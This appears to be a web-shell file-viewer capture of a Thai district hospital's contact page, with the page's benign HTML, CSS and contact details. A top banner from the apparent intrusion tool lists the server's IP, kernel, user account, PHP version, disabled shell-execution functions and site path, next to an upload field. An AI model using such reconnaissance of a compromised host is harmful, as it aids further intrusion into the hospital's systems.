| Server IP : 172.67.189.169 / Your IP : 216.73.216.59 Web Server : Apache/2 System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 User : paphayomho ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/paphayomho/domains/paphayomhospital.go.th/private_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>โรงพยาบาลป่าพะยอม | ติดต่อเรา</title>
<link href="https://fonts.googleapis.com/css2?family=Prompt:wght@300;400;500;600&display=swap" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css">
<style>
:root {
--moph-green: #00897b;
--moph-dark: #004d40;
--soft-teal: #f0f7f6;
--bg-light: #f8fafc;
}
body {
font-family: 'Prompt', sans-serif;
background-color: var(--bg-light);
color: #334155;
overflow-x: hidden;
}
/* Hero Header */
.header-modern {
background: linear-gradient(135deg, var(--moph-green) 0%, var(--moph-dark) 100%);
color: white;
padding: 100px 0 140px;
border-radius: 0 0 50% 50% / 0 0 40px 40px;
text-align: center;
}
/* Statistics Cards */
.stat-wrapper {
margin-top: -80px;
margin-bottom: 60px;
}
.stat-card-modern {
background: white;
border: none;
border-radius: 30px;
padding: 30px 20px;
box-shadow: 0 15px 35px rgba(0,0,0,0.05);
transition: all 0.3s ease;
height: 100%;
}
.stat-card-modern:hover {
transform: translateY(-10px);
box-shadow: 0 20px 45px rgba(0, 137, 123, 0.12);
}
.icon-circle {
width: 55px; height: 55px;
background: var(--soft-teal);
color: var(--moph-green);
border-radius: 20px;
display: flex; align-items: center; justify-content: center;
margin: 0 auto 15px;
font-size: 1.4rem;
}
.stat-num { font-size: 1.75rem; font-weight: 700; color: var(--moph-dark); margin-bottom: 2px; }
.stat-txt { font-size: 0.9rem; color: #64748b; }
/* Content Area */
.content-container {
background: white;
border-radius: 40px;
padding: 50px;
box-shadow: 0 20px 60px rgba(0,0,0,0.03);
margin-bottom: 80px;
}
/* Image Display Modern */
.hospital-img-container {
background: white;
padding: 15px;
border-radius: 35px;
box-shadow: 0 25px 50px rgba(0,0,0,0.1);
position: relative;
}
.hospital-img {
width: 100%;
border-radius: 25px;
object-fit: cover;
min-height: 400px;
}
/* Contact Details */
.contact-item-modern {
display: flex;
align-items: center;
margin-bottom: 22px;
padding: 12px;
border-radius: 20px;
transition: 0.3s;
}
.contact-item-modern:hover { background: var(--soft-teal); }
.contact-icon-box {
width: 48px; height: 48px;
background: var(--moph-green);
color: white;
border-radius: 15px;
display: flex; align-items: center; justify-content: center;
margin-right: 18px;
flex-shrink: 0;
font-size: 1.1rem;
}
/* Buttons Style */
.btn-home-modern {
background: transparent;
color: var(--moph-green);
border: 2px solid var(--moph-green);
border-radius: 50px;
padding: 10px 30px;
font-weight: 500;
transition: 0.3s;
text-decoration: none;
display: inline-block;
}
.btn-home-modern:hover { background: var(--moph-green); color: white; }
.btn-map-modern {
background: var(--moph-dark);
color: white;
border-radius: 50px;
padding: 12px 35px;
font-weight: 500;
transition: 0.3s;
text-decoration: none;
display: inline-block;
box-shadow: 0 10px 20px rgba(0, 77, 64, 0.2);
}
.btn-map-modern:hover { background: #002d26; color: white; transform: translateY(-3px); }
footer {
background: #1e293b;
color: #94a3b8;
padding: 80px 0 30px;
border-radius: 50px 50px 0 0;
}
.footer-link { color: #cbd5e1; text-decoration: none; transition: 0.2s; }
.footer-link:hover { color: var(--moph-green); margin-left: 5px; }
</style>
</head>
<body>
<div class="header-modern animate__animated animate__fadeIn">
<div class="container">
<h1 class="fw-bold display-4">ติดต่อเรา</h1>
<p class="fs-5 opacity-75">โรงพยาบาลป่าพะยอม จังหวัดพัทลุง</p>
</div>
</div>
<div class="container stat-wrapper">
<div class="row g-4 text-center">
<div class="col-6 col-md-3 animate__animated animate__fadeInUp" style="animation-delay: 0.1s;">
<div class="stat-card-modern">
<div class="icon-circle"><i class="fa-solid fa-hospital-user"></i></div>
<div class="stat-num">120,000+</div>
<div class="stat-txt">ผู้รับบริการ/ปี</div>
</div>
</div>
<div class="col-6 col-md-3 animate__animated animate__fadeInUp" style="animation-delay: 0.2s;">
<div class="stat-card-modern">
<div class="icon-circle"><i class="fa-solid fa-bed"></i></div>
<div class="stat-num">30</div>
<div class="stat-txt">จำนวนเตียง</div>
</div>
</div>
<div class="col-6 col-md-3 animate__animated animate__fadeInUp" style="animation-delay: 0.3s;">
<div class="stat-card-modern">
<div class="icon-circle"><i class="fa-solid fa-user-doctor"></i></div>
<div class="stat-num">180+</div>
<div class="stat-txt">บุคลากร</div>
</div>
</div>
<div class="col-6 col-md-3 animate__animated animate__fadeInUp" style="animation-delay: 0.4s;">
<div class="stat-card-modern">
<div class="icon-circle"><i class="fa-solid fa-award"></i></div>
<div class="stat-num">HA 3</div>
<div class="stat-txt">มาตรฐานโรงพยาบาล</div>
</div>
</div>
</div>
</div>
<main class="container">
<div class="content-container animate__animated animate__fadeIn">
<div class="row g-5 align-items-center">
<div class="col-lg-6">
<div class="hospital-img-container">
<img src="images/herder3.jpg" class="hospital-img" alt="โรงพยาบาลป่าพะยอม" onerror="this.src='https://images.unsplash.com/photo-1586773860418-d37222d8fce3?auto=format&fit=crop&w=800&q=80'">
</div>
</div>
<div class="col-lg-6">
<h2 class="fw-bold mb-4" style="color: var(--moph-dark);">ข้อมูลการติดต่อ</h2>
<div class="contact-item-modern">
<div class="contact-icon-box"><i class="fa-solid fa-location-dot"></i></div>
<div>
<small class="text-uppercase fw-bold text-muted d-block">ที่ตั้ง</small>
<span>171 ม.2 ถ.ทางหลวงแผ่นดินหมายเลข 41 ต.ป่าพะยอม อ.ป่าพะยอม จ.พัทลุง 93210</span>
</div>
</div>
<div class="contact-item-modern">
<div class="contact-icon-box"><i class="fa-solid fa-phone"></i></div>
<div>
<small class="text-uppercase fw-bold text-muted d-block">โทรศัพท์</small>
<span>074-673967, 074-673968</span>
</div>
</div>
<div class="contact-item-modern">
<div class="contact-icon-box"><i class="fa-solid fa-envelope"></i></div>
<div>
<small class="text-uppercase fw-bold text-muted d-block">อีเมล</small>
<span>[email protected]</span>
</div>
</div>
<div class="contact-item-modern">
<div class="contact-icon-box"><i class="fa-brands fa-facebook"></i></div>
<div>
<small class="text-uppercase fw-bold text-muted d-block">Facebook</small>
<span>โรงพยาบาลป่าพะยอม</span>
</div>
</div>
<div class="mt-5 d-flex flex-wrap gap-3">
<a href="index.php" class="btn-home-modern">
<i class="fa-solid fa-house me-2"></i>กลับสู่หน้าหลัก
</a>
<a href="https://www.google.com/maps/dir/?api=1&destination=7.832659,99.930222" target="_blank" class="btn-map-modern">
<i class="fa-solid fa-location-arrow me-2"></i>นำทางมายังโรงพยาบาล
</a>
</div>
</div>
</div>
<div class="mt-5 pt-4">
<h4 class="fw-bold mb-4 border-start border-4 border-success ps-3">แผนที่ Google Maps</h4>
<div style="border-radius: 30px; overflow: hidden; border: 1px solid #eee;">
<iframe
src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3954.27111000!2d99.930222!3d7.832659!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x0!2zN8KwNDknNTcuNiJOIDk5wrA1NSc0OC44IkU!5e0!3m2!1sth!2sth!4v1700000000000!5m2!1sth!2sth"
width="100%" height="450" style="border:0;" allowfullscreen="" loading="lazy">
</iframe>
</div>
</div>
</div>
</main>
<footer>
<div class="container">
<div class="row g-4">
<div class="col-md-6 text-center text-md-start">
<h5 class="text-white fw-bold mb-3">โรงพยาบาลป่าพะยอม</h5>
<p class="small opacity-75">สำนักงานสาธารณสุขจังหวัดพัทลุง</p>
<p class="small opacity-50">โรงพยาบาลชุมชนเป็นเลิศ ด้านระบบบริการสุขภาพ ระดับภาคใต้</p>
<div class="mt-4 d-flex justify-content-center justify-content-md-start gap-3">
<a href="#" class="text-white fs-5"><i class="fab fa-facebook"></i></a>
<a href="#" class="text-white fs-5"><i class="fab fa-line"></i></a>
<a href="#" class="text-white fs-5"><i class="fab fa-youtube"></i></a>
</div>
</div>
<div class="col-md-3">
<h6 class="text-white mb-3">ลิงก์รวดเร็ว</h6>
<ul class="list-unstyled">
<li class="mb-2"><a href="index.php" class="footer-link">หน้าหลัก</a></li>
<li class="mb-2"><a href="#" class="footer-link">ติดต่อเรา</a></li>
<li class="mb-2"><a href="#" class="footer-link">สมัครงาน</a></li>
</ul>
</div>
<div class="col-md-3">
<h6 class="text-white mb-3">ข้อมูลติดต่อ</h6>
<p class="small mb-1"><i class="fas fa-phone me-2"></i> 074-673967</p>
<p class="small"><i class="fas fa-envelope me-2"></i> [email protected]</p>
</div>
</div>
<hr class="my-5 border-secondary opacity-25">
<div class="text-center small opacity-50">
© 2026 PaPhayom Hospital. Modernized for better service.
</div>
</div>
</footer>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>